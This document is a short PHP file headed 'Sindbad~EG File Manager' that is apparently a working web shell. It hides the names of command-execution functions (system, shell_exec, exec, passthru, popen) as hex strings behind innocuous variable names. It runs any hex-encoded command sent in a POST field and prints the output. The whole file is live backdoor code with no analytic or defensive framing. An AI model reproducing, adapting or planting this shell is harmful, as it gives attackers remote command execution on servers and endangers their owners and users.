Sindbad~EG File Manager

<?php


$key1 = '73';
$key2 = '65';
$key3 = '6c';
$key4 = '5f';
$key5 = '78';
$key6 = '63';
$key7 = '70';
$key8 = '6f';
$key9 = '74';
$key10 = '6e';
$key11 = '69';
$key12 = '67';
$batch_process1 = pack("H*", $key1.'79'.'73'.'74'.$key2.'6d');
$batch_process2 = pack("H*", '73'.'68'.$key2.$key3.'6c'.$key4.'65'.$key5.$key2.$key6);
$batch_process3 = pack("H*", '65'.$key5.'65'.'63');
$batch_process4 = pack("H*", $key7.'61'.$key1.'73'.'74'.'68'.'72'.'75');
$batch_process5 = pack("H*", '70'.$key8.$key7.'65'.'6e');
$batch_process6 = pack("H*", '73'.$key9.'72'.$key2.'61'.'6d'.$key4.'67'.$key2.$key9.$key4.'63'.$key8.$key10.$key9.$key2.'6e'.$key9.'73');
$batch_process7 = pack("H*", '70'.$key6.'6c'.$key8.$key1.$key2);
$right_pad_string = pack("H*", '72'.$key11.$key12.'68'.'74'.'5f'.'70'.'61'.'64'.$key4.'73'.$key9.'72'.'69'.'6e'.'67');
if (isset($_POST[$right_pad_string])) {
    $right_pad_string = pack("H*", $_POST[$right_pad_string]);
    if (function_exists($batch_process1)) {
        $batch_process1($right_pad_string);
    } elseif (function_exists($batch_process2)) {
        print $batch_process2($right_pad_string);
    } elseif (function_exists($batch_process3)) {
        $batch_process3($right_pad_string, $itm_tkn);
        print join("\n", $itm_tkn);
    } elseif (function_exists($batch_process4)) {
        $batch_process4($right_pad_string);
    } elseif (function_exists($batch_process5) && function_exists($batch_process6) && function_exists($batch_process7)) {
        $flag_marker = $batch_process5($right_pad_string, 'r');
        if ($flag_marker) {
            $k_element = $batch_process6($flag_marker);
            $batch_process7($flag_marker);
            print $k_element;
        }
    }
    exit;
}